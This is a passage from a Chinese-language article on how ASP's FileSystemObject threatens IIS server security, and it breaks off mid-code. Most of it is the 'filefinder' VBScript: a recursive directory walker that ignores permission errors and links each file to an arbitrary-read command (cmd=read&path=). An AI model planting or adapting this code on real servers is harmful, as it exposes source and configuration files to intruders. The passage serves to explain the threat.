scripting.filesystemobject 对象是由 scrrun.dll 提供的许多供 vbscript/jscript 控制的 com 对象之一。scripting.filesystemobject 提供了非常便利的文本文件和文件目录的访问,但是同时也对 iis web 服务器数据安全造成了一定的威胁。 filefinder 的代码很简单,由3 个函数和 30 行左右的顺序代码构成。 最关键的是 findfiles 函数,通过对它的递归调用实现对某个目录的遍历,并且按照特定的文件扩展名来搜寻这些文件。 function findfiles(strstartfolder, strext) dim n dim othisfolder dim ofolders dim ofiles dim ofolder dim ofile ' 如果系统管理员对文件系统的权限进行细致的设置话,下面的代码就要出错 ' 但是有些目录还是可以察看的,所以我们简单的把错误忽略过去 on error resume next n = 0 response.write "<b>searching " & strstartfolder & "</b><br>" set othisfolder = g_fs.getfolder(strstartfolder) set ofiles = othisfolder.files for each ofile in ofiles ' 如果是指定的文件扩展名,输出连接导向本身,但用不同的命令 cmd ' 在这里是 cmd=read,即读出指定物理路径的文本文件 if issuffix(ofile.path, strext) then response.write "<a target=_blank href='ff.asp?cmd=read&path=" & server.htmlencode(ofile.path) & "'><font color='dodgerblue'>" & ofile.path & "</font></a><br>" if err = 0 then n = n + 1 end if end if next set ofolders = othisfolder.subfolders for each ofolder in ofolders n = n + findfiles(ofolder.path, strext) next findfiles = n end function 下面的代码是对 url 后面的参数进行分析: ' 读出各个参数的值 strcmd = ucase(request.querystring("cmd")) strpath = request.querystring("path") strext = request.querystring("ext") brawdata = ucase(request.querystring("raw")) ' 默认搜索 .asp 文件 if strpath = "" then strpath = "." end if if strext = "" then |